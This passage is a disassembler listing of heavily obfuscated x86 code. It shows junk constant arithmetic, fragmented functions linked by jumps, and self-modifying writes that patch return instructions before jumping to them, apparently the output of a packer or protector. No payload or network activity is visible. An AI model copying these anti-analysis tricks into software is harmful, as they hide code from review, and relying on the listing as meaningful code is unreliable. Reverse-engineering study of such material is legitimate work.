loc_443596:				; CODE XREF: sub_442340+23EBj
		rol	eax, 16h
		add	eax, 467C2890h
		and	eax, 0C8674D23h
		add	eax, 37B90001h
		shl	eax, cl
		and	edx, eax
		jmp	loc_44BC25
; END OF FUNCTION CHUNK	FOR sub_442340
; ---------------------------------------------------------------------------

loc_4435B4:				; CODE XREF: kgbikm34:loc_445939j
		jge	loc_43EDBD
		xchg	ebp, eax
		jmp	loc_43EDBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF5B

loc_4435C1:				; CODE XREF: sub_43DF5B+3EACj
		mov	eax, [ebp+0]

loc_4435C4:				; CODE XREF: sub_43DF5B:loc_44C1D9j
		push	0E3BA64B7h
		pop	eax
		xor	eax, 0F54CDC58h
		and	eax, 0DD3FF6E9h
		xor	eax, 11EAC9C6h
		jmp	loc_447E01
; END OF FUNCTION CHUNK	FOR sub_43DF5B
; ---------------------------------------------------------------------------

loc_4435E1:				; CODE XREF: kgbikm34:0043AC1Ej
		or	eax, 0D1E3C6BEh
		test	eax, 8000h
		jmp	loc_44562B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4489C5

loc_4435F2:				; CODE XREF: sub_4489C5+3j
		call	sub_44B5FD

loc_4435F7:				; CODE XREF: kgbikm34:00437985j
		sub	esi, ebp
		jmp	loc_43C1BD
; END OF FUNCTION CHUNK	FOR sub_4489C5

; =============== S U B	R O U T	I N E =======================================



sub_4435FE	proc near		; DATA XREF: sub_439154:loc_44212Eo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004370E4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00444885 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444B64 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448026 SIZE 00000005 BYTES

		push	esi
		push	0F60CFFB1h
		pop	esi
		or	esi, ds:4000F2h
		and	esi, ds:4000F1h
		rol	esi, 1Ah
		add	esi, 5C44CBB3h
		xchg	esi, [esp+4+var_4]
		jmp	loc_444B64
sub_4435FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_443622	proc near		; CODE XREF: kgbikm34:00446745j
					; DATA XREF: sub_440FF4:loc_43DE75o

var_24		= dword	ptr -24h

; FUNCTION CHUNK AT 0043888F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043ED9E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F40C SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0044364F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044615A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00446FB7 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00447AEC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044944D SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044B252 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BAF1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044E193 SIZE 0000001F BYTES

		add	esp, 0FFFFFFE4h
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		xor	eax, eax
		jmp	loc_446FB7
sub_443622	endp

; ---------------------------------------------------------------------------

locret_443632:				; CODE XREF: kgbikm34:0043BCFAj
		retn
; ---------------------------------------------------------------------------

loc_443633:				; CODE XREF: kgbikm34:loc_43C703j
					; kgbikm34:loc_446CF5j
		jmp	loc_43DBAE
; ---------------------------------------------------------------------------
		dd 73F78A0Fh, 0DCE90000h
		db 0A1h, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_443643	proc near		; CODE XREF: sub_43B932+5C64p
					; kgbikm34:0044D8C3j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439401 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043E8AE SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00445600 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00445EAD SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00446750 SIZE 0000000E BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	eax
		pop	edi
		jmp	loc_445600
sub_443643	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44364E:				; CODE XREF: kgbikm34:0044DFC9j
		pop	edi
; START	OF FUNCTION CHUNK FOR sub_443622

loc_44364F:				; CODE XREF: sub_443622:loc_44615Aj
		xor	eax, 77E53239h
		add	eax, ebp
		add	eax, 0D697E706h
		mov	eax, [eax]
		jmp	loc_43ED9E
; END OF FUNCTION CHUNK	FOR sub_443622
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_443664:				; CODE XREF: sub_439BDE+16j
		jz	loc_445725
		jmp	loc_44885B
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------

loc_44366F:				; CODE XREF: kgbikm34:0044AE23j
		jg	loc_444EFB

; =============== S U B	R O U T	I N E =======================================



sub_443675	proc near		; CODE XREF: kgbikm34:0044C873p
		xchg	ebx, [esp+0]
		pop	ebx
		mov	byte ptr [eax],	0C3h
		jmp	sub_4458AD
sub_443675	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_443681	proc near		; CODE XREF: sub_41711A:loc_417253p
					; kgbikm34:0044C332j
					; DATA XREF: ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439CB7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043AF69 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043D3C7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044018D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004451B6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044532C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00445A7B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446160 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004473F9 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00448E25 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044A18C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A881 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044C338 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044CAA5 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044D2D0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044D355 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D96D SIZE 0000000E BYTES

		push	ecx
		push	0C41D5D1Eh
		jmp	loc_44018D
sub_443681	endp

; ---------------------------------------------------------------------------

loc_44368C:				; CODE XREF: kgbikm34:00437168j
		ror	ecx, 19h

; =============== S U B	R O U T	I N E =======================================



sub_44368F	proc near		; CODE XREF: sub_44649E:loc_4491ADp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439521 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439990 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D4A4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043D5D5 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043D75B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004412D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004422A8 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00442B8A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446354 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00448BFF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449A51 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BE86 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044C510 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044CC73 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DD29 SIZE 0000000B BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	24DB2971h
		pop	eax
		or	eax, 0D4C4A314h
		add	eax, 0EF27DC84h
		rol	eax, 0Dh
		jmp	loc_439521
sub_44368F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_4436AD:				; CODE XREF: kgbikm34:0043EB77j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4478CD

loc_4436AE:				; CODE XREF: sub_4478CD:loc_4465F6j
		pop	edx
		add	edx, 0FD5646CEh
		or	edx, 0B4088448h
		add	edx, 4C382D05h
		jmp	loc_444BC7
; END OF FUNCTION CHUNK	FOR sub_4478CD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_204. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_4436C7:				; CODE XREF: sub_44114F+1C01j
		jns	loc_44BDDA
		jz	loc_43D336
		jmp	loc_448FCF
; END OF FUNCTION CHUNK	FOR sub_44114F

; =============== S U B	R O U T	I N E =======================================



sub_4436D8	proc near		; CODE XREF: sub_44D9CE-16A1j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043E563 SIZE 00000010 BYTES

		push	ebx
		push	4BA76030h
		pop	ebx
		add	ebx, 0B9398AF8h
		or	ebx, 0BD7D2727h
		xor	ebx, 0EEEC94Dh
		xor	eax, ebx
		xchg	ebp, [esp+4+var_4]
		jmp	loc_43E563
sub_4436D8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_4436FB:				; CODE XREF: sub_44114F:loc_4373FAj
					; sub_44114F-9D47j
		xor	eax, 2595ADFEh
		add	eax, ebp
		add	eax, 0BDD5AC1Fh
		mov	eax, [eax]
		mov	eax, [eax]
		push	ebp
		push	ebx
		push	53B3B6BEh
		jmp	loc_44821B
; END OF FUNCTION CHUNK	FOR sub_44114F
; ---------------------------------------------------------------------------

loc_443719:				; CODE XREF: kgbikm34:loc_43FC8Ej
		push	43DFEEB6h
		pop	ebx
		sub	ebx, 0DD16ED92h
		rol	ebx, 9
		add	ebx, 6E41D76Fh
		xchg	ebx, [esp]
		jmp	sub_445D55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444BCC

loc_443736:				; CODE XREF: sub_444BCC-10F1j
		jz	loc_43799D
		jmp	loc_445D49
; END OF FUNCTION CHUNK	FOR sub_444BCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_443741:				; CODE XREF: sub_4474D5-4ACFj
		and	ebx, edi
		popf

loc_443744:				; CODE XREF: kgbikm34:loc_44AFA2j
		jns	loc_4423B1

loc_44374A:				; CODE XREF: sub_4474D5:loc_44576Ej
		mov	eax, [esp+0]
		call	sub_44B537
		jmp	loc_447F8E
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DD80

loc_443757:				; CODE XREF: sub_43DD80+10j
		push	offset sub_43C0C6
		jmp	loc_44BF66
; END OF FUNCTION CHUNK	FOR sub_43DD80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CABC

loc_443761:				; CODE XREF: sub_44CABC:loc_43A542j
		xor	edi, 0D6C4B5F6h
		sub	edi, 2145AE73h
		cmp	edi, 0C9AEC7B3h
		jmp	loc_438492
; END OF FUNCTION CHUNK	FOR sub_44CABC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D686

loc_443778:				; CODE XREF: sub_43D686+5B58j
		xchg	eax, [esp+4+var_4]
		jmp	loc_43AB38
; END OF FUNCTION CHUNK	FOR sub_43D686
; ---------------------------------------------------------------------------

loc_443780:				; CODE XREF: kgbikm34:00438D4Fj
		jl	loc_442445
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_443786:				; CODE XREF: sub_439BDE+2D45j
		jmp	loc_4444BC
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
		cmp	edx, 15951278h
		jmp	loc_44B8DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D642

loc_443796:				; CODE XREF: sub_43D642:loc_43FB68j
		jz	loc_439A43
		jmp	loc_4416F5
; END OF FUNCTION CHUNK	FOR sub_43D642
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AECB

loc_4437A1:				; CODE XREF: sub_43AECB+8CE9j
		xchg	ecx, [esi]

loc_4437A3:				; CODE XREF: sub_43AECB:loc_443BA8j
		add	ebx, 6B5A961Fh
		and	ebx, 934B0241h
		call	sub_43DCAC
; END OF FUNCTION CHUNK	FOR sub_43AECB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_153. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439852

loc_4437B5:				; CODE XREF: sub_439852+B44j
		jmp	loc_43AFEE
; END OF FUNCTION CHUNK	FOR sub_439852
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F039

loc_4437BA:				; CODE XREF: sub_43F039:loc_44DC86j
		lea	eax, loc_44E02B
		mov	byte ptr [eax],	0C3h
		jmp	loc_44E02B
; END OF FUNCTION CHUNK	FOR sub_43F039
; ---------------------------------------------------------------------------

loc_4437C8:				; CODE XREF: kgbikm34:0044C968j
		push	offset loc_441AD4
		jmp	loc_43E8A4
; ---------------------------------------------------------------------------

loc_4437D2:				; CODE XREF: kgbikm34:004370C2j
		add	edi, 0C49DF9F3h

; =============== S U B	R O U T	I N E =======================================



sub_4437D8	proc near		; CODE XREF: sub_439A2E+Ap

; FUNCTION CHUNK AT 0043D618 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F873 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F985 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00440234 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00445630 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004459A0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044ACB9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D958 SIZE 00000014 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	[esi], eax
		pop	esi

loc_4437DF:				; CODE XREF: sub_4446F8+15j
					; sub_44B6F1:loc_446515j ...
		push	855AE99Ch
		pop	eax
		jmp	loc_43F873
sub_4437D8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4437EA:				; CODE XREF: kgbikm34:0043B6EDj
		xor	edx, 8442DB25h
		rol	edx, 1
		add	edx, 0C333EFE1h
; START	OF FUNCTION CHUNK FOR sub_440E0B

loc_4437F8:				; CODE XREF: sub_440E0B-705Bj
		mov	edx, [edx]
		or	edx, edx
		jmp	loc_43E432
; END OF FUNCTION CHUNK	FOR sub_440E0B
; ---------------------------------------------------------------------------
		sbb	ebp, 36F27CC7h
		jmp	sub_4395CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CA61

loc_44380C:				; CODE XREF: sub_44CA61:loc_44091Dj
					; sub_44CA61-C136j
		add	esi, 1C62F348h
		mov	[esi], eax
		pop	esi
		lea	eax, sub_4450E9
		mov	byte ptr [eax],	0C3h
		jmp	sub_4450E9
; END OF FUNCTION CHUNK	FOR sub_44CA61
; ---------------------------------------------------------------------------
		rol	esi, 1Bh
		jmp	sub_4383B9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_281. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_44382C:				; CODE XREF: sub_43B0B7+33D0j
		jle	loc_44AA35
		not	esi
		xor	eax, 60F54C57h

loc_44383A:				; CODE XREF: sub_43B0B7:loc_43E47Fj
		sub	edi, 0FF09B58Bh
		and	edi, 9415916Bh
		add	edi, 3F020Eh
		xchg	edi, [esp-8+arg_4]
		jmp	loc_4491F9
; END OF FUNCTION CHUNK	FOR sub_43B0B7

; =============== S U B	R O U T	I N E =======================================



sub_443854	proc near		; DATA XREF: kgbikm34:00447F22o
		xchg	ecx, [esp+0]
		push	ebx
		push	83255E0Ah
		pop	ebx
		or	ebx, 0DEA64095h
		jmp	loc_44DD2F
sub_443854	endp

; ---------------------------------------------------------------------------

loc_443869:				; CODE XREF: kgbikm34:loc_441C7Ej
		push	offset loc_4443BD
		jmp	loc_448C8A
; ---------------------------------------------------------------------------

loc_443873:				; CODE XREF: kgbikm34:loc_43CF78j
		add	ecx, 99594742h
		popf
		add	ebp, 116E0037h
		jmp	loc_43D401
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_443885:				; CODE XREF: sub_43BCAD+C02Ej
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_444118
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_443893:				; CODE XREF: sub_44114F+2C2Ej
		call	sub_4400C7
		mov	ds:off_41E038, eax
		lea	eax, loc_4417D6
		mov	byte ptr [eax],	0C3h
		jmp	loc_44B6AA
; END OF FUNCTION CHUNK	FOR sub_44114F

; =============== S U B	R O U T	I N E =======================================



sub_4438AC	proc near		; CODE XREF: sub_40158F+17Dp
					; sub_4438AC+5j
					; DATA XREF: ...
		call	sub_4438B7
		jmp	ds:off_41E03C
sub_4438AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4438B7	proc near		; CODE XREF: kgbikm34:0043C82Dj
					; sub_4438ACp ...

; FUNCTION CHUNK AT 0043B5C4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D5E7 SIZE 0000000A BYTES

		xchg	ecx, [esp+0]
		call	sub_439022

loc_4438BF:				; CODE XREF: sub_43A374+2B3Cj
		jmp	loc_43D5E7
sub_4438B7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_4438C4:				; CODE XREF: sub_43D494+65FDj
		shr	edi, 17h
		rol	edi, 1Bh

loc_4438CA:				; CODE XREF: kgbikm34:loc_43C4A2j
					; kgbikm34:004445E9j ...
		jmp	loc_4447C5
; ---------------------------------------------------------------------------

loc_4438CF:				; CODE XREF: sub_43D494-31F1j
					; kgbikm34:0043A6EEj
		pop	ecx
		pop	ebp
		jmp	nullsub_125
; END OF FUNCTION CHUNK	FOR sub_43D494

; =============== S U B	R O U T	I N E =======================================



sub_4438D6	proc near		; DATA XREF: sub_44B9AD:loc_44465Ao

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043B713 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F54B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044630E SIZE 00000010 BYTES

		push	edx
		push	eax
		mov	eax, [ebp-18h]
		add	eax, eax
		jmp	loc_43B713
sub_4438D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4438E2	proc near		; CODE XREF: sub_43ACD5:loc_43847Aj
					; sub_442C3Fp ...

; FUNCTION CHUNK AT 004387FF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FE1D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440B78 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00443C85 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444253 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C78A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044CA3D SIZE 00000012 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		jo	sub_43C019

loc_4438EC:				; CODE XREF: sub_444D26:loc_43CC01j
		push	esi
		mov	esi, ebp
		xchg	esi, [esp+0]
		mov	ebp, esp
		jmp	loc_43FE1D
sub_4438E2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4438F9:				; CODE XREF: kgbikm34:0043B555j
		pushf
		jmp	loc_4451FA
; ---------------------------------------------------------------------------
		push	ebx
		call	sub_4397FF

loc_443905:				; CODE XREF: kgbikm34:loc_44A0C5j
		push	edi
		push	0C013E5A0h
		pop	edi
		sub	edi, 27516099h
		xor	edi, 0DD5AE73h
		jmp	loc_438B66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444267

loc_44391D:				; CODE XREF: sub_444267:loc_43BD88j
		mov	ecx, edx
		xchg	ecx, [esp+0]
		call	sub_44B5E4
		mov	eax, 6A74FD15h
		call	sub_4395AC
; END OF FUNCTION CHUNK	FOR sub_444267
; START	OF FUNCTION CHUNK FOR sub_442551

loc_443931:				; CODE XREF: sub_442551+6CFFj
		jmp	nullsub_303
; END OF FUNCTION CHUNK	FOR sub_442551
; ---------------------------------------------------------------------------

loc_443936:				; CODE XREF: kgbikm34:00441B6Fj
		jmp	loc_43C312
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_44393B:				; CODE XREF: sub_43D494+2A81j
		jnp	loc_446B66
; END OF FUNCTION CHUNK	FOR sub_43D494
; START	OF FUNCTION CHUNK FOR sub_444D26

loc_443941:				; CODE XREF: sub_43D494:loc_4393BAj
					; sub_4494B1-4306j ...
		jmp	loc_442FE8
; ---------------------------------------------------------------------------

loc_443946:				; CODE XREF: sub_444D26-257Dj
					; sub_43D494+8945j
		pop	ecx
		pop	ebp

locret_443948:				; CODE XREF: sub_440E0B+4530j
		retn
; END OF FUNCTION CHUNK	FOR sub_444D26

; =============== S U B	R O U T	I N E =======================================



sub_443949	proc near		; CODE XREF: sub_449F77-AE68p
					; kgbikm34:00446E6Fj

; FUNCTION CHUNK AT 0044242B SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		lea	eax, nullsub_13
		mov	byte ptr [eax],	0C3h
		jmp	loc_44242B
sub_443949	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44395B:				; CODE XREF: kgbikm34:00439935j
		xchg	eax, [esp]
		pop	eax
		jnb	loc_44D4BF
		xchg	ebx, [esp]
		mov	edx, ebx
		jmp	loc_4496DD
; ---------------------------------------------------------------------------

loc_44396F:				; CODE XREF: kgbikm34:loc_43C5A3j
		xchg	ecx, [esp]
		jmp	sub_43EB8F

; =============== S U B	R O U T	I N E =======================================



sub_443977	proc near		; CODE XREF: kgbikm34:00438EBDj
					; sub_4433D8+2BE9p
		xchg	ebx, [esp+0]
		pop	ebx
		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp+0]
		call	sub_43C7C6
		retn
sub_443977	endp


; =============== S U B	R O U T	I N E =======================================



sub_443987	proc near		; CODE XREF: sub_43CA80+1949p
					; kgbikm34:0043E6D2p

; FUNCTION CHUNK AT 00440645 SIZE 00000005 BYTES

		jno	sub_439543
		jmp	loc_440645
sub_443987	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_41E174
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445993

loc_443998:				; CODE XREF: sub_445993+8j
		jmp	loc_43D546
; END OF FUNCTION CHUNK	FOR sub_445993
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_44399D:				; CODE XREF: sub_43D494+283Aj
		jmp	nullsub_10
; ---------------------------------------------------------------------------

loc_4439A2:				; CODE XREF: sub_43D494-31EBj
		jmp	loc_44BC80
; END OF FUNCTION CHUNK	FOR sub_43D494
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_350. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jnz	loc_440169
		mov	eax, [esp]
		push	edi
		mov	edi, edx
		push	offset sub_437613
		jmp	loc_4449EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D78

loc_4439BE:				; CODE XREF: sub_449D78-E3DEj
		mov	[eax], edx
		call	sub_440ADA

loc_4439C5:				; CODE XREF: sub_44A64C+Aj
		xchg	ecx, [esp-4+arg_0]
		push	4ADE50D1h
		pop	esi
		or	esi, 3D63A26Fh
		add	esi, 0B9DE397Bh
		or	esi, 9E6A5EB8h
		cmp	esi, 0FBAA7580h
		jmp	loc_4494D7
; END OF FUNCTION CHUNK	FOR sub_449D78
; ---------------------------------------------------------------------------
		shl	ebx, 16h
		jmp	sub_43DC19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447B31

loc_4439F3:				; CODE XREF: sub_447B31+8AEj
		ror	ebp, 0Dh
		xchg	ebx, esi
		jmp	loc_43EAC0
; END OF FUNCTION CHUNK	FOR sub_447B31
; ---------------------------------------------------------------------------

loc_4439FD:				; CODE XREF: kgbikm34:loc_437AFCj
		jnz	loc_439DDA
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_443A03:				; CODE XREF: sub_439BDE-A8Fj
		jmp	loc_446BA6
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438BFC

loc_443A08:				; CODE XREF: sub_438BFC+6j
		jmp	nullsub_59
; END OF FUNCTION CHUNK	FOR sub_438BFC
; ---------------------------------------------------------------------------
		ror	eax, 19h
		jbe	loc_44B9C3
		cdq
		push	2106CB55h
		add	ebx, ecx
		jmp	loc_439DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_443A23:				; CODE XREF: sub_4471D6:loc_4430B8j
		jz	loc_440870
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_44C75F
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_43E328
; END OF FUNCTION CHUNK	FOR sub_4471D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_443A3B:				; CODE XREF: sub_43C55C+B8A0j
		jle	loc_437475
		jmp	loc_439B2F
; END OF FUNCTION CHUNK	FOR sub_43C55C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F79

loc_443A46:				; CODE XREF: sub_446F79-D15Bj
		sub	edi, ecx
; END OF FUNCTION CHUNK	FOR sub_446F79
; START	OF FUNCTION CHUNK FOR sub_43DD64

loc_443A48:				; CODE XREF: sub_43DD64+398Bj
					; sub_446F79-1FB2j ...
		jmp	loc_43A5B7
; ---------------------------------------------------------------------------

loc_443A4D:				; CODE XREF: sub_43DD64+Aj
					; sub_446F79+6F17j
		xchg	esi, [esp-4+arg_0]
		mov	ecx, esi

loc_443A52:				; CODE XREF: sub_44368F+2CD5j
		pop	esi
		jmp	loc_4413A4
; END OF FUNCTION CHUNK	FOR sub_43DD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442A46

loc_443A58:				; CODE XREF: sub_442A46:loc_445DFAj
					; DATA XREF: kgbikm34:0044CA9Bo
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44823A
		jmp	loc_446B19
; END OF FUNCTION CHUNK	FOR sub_442A46
; ---------------------------------------------------------------------------

loc_443A66:				; CODE XREF: kgbikm34:0044B373j
		ja	loc_447EF0
		add	eax, 1E0FE8Eh

; =============== S U B	R O U T	I N E =======================================



sub_443A72	proc near		; CODE XREF: sub_443DF0+3462p

; FUNCTION CHUNK AT 0043AF52 SIZE 00000017 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	0CC133E2Bh
		pop	ebx
		rol	ebx, 2
		add	ebx, 0BAFCFAF9h
		jmp	loc_43AF52
sub_443A72	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_443A8A:				; CODE XREF: sub_43D494:loc_439820j
		popf
		jo	loc_4410AC
		jmp	loc_4438C4
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444864

loc_443A96:				; CODE XREF: sub_444864:loc_444873j
		xor	eax, 0CAB8F004h
		add	eax, 0F8EC32B6h
		rol	eax, 16h
		xor	eax, 0A17DC8D0h
		call	sub_44CA03

loc_443AB0:				; CODE XREF: sub_446C27+6FBAj
		jmp	nullsub_12
; END OF FUNCTION CHUNK	FOR sub_444864
; ---------------------------------------------------------------------------

loc_443AB5:				; CODE XREF: kgbikm34:00442061j
		jmp	loc_44D1D5
; ---------------------------------------------------------------------------

loc_443ABA:				; CODE XREF: kgbikm34:004413BCj
		jg	loc_447214
		jno	loc_4386D2
		jmp	loc_43F2F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444BCC

loc_443ACB:				; CODE XREF: sub_444BCC+63C7j
		add	eax, 9C41A86Bh
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_43D557
		jmp	loc_443736
; END OF FUNCTION CHUNK	FOR sub_444BCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C093

loc_443AE0:				; CODE XREF: sub_44C093:loc_446F03j
		mov	edi, eax

loc_443AE2:				; CODE XREF: kgbikm34:004370D9j
		pushf
		ja	loc_43BD0C
		push	ebp

loc_443AEA:				; CODE XREF: sub_44C093:loc_446EF7j
		and	ebx, 0EB788438h
		jmp	loc_43B9F2
; END OF FUNCTION CHUNK	FOR sub_44C093
; ---------------------------------------------------------------------------

loc_443AF5:				; CODE XREF: kgbikm34:004384D8j
		mov	byte ptr [eax],	0C3h
		jmp	loc_440B63

; =============== S U B	R O U T	I N E =======================================



sub_443AFD	proc near		; CODE XREF: .text:00409122p
					; kgbikm34:0043CDDEj
					; DATA XREF: ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004396A5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C6CB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043CDE9 SIZE 00000015 BYTES
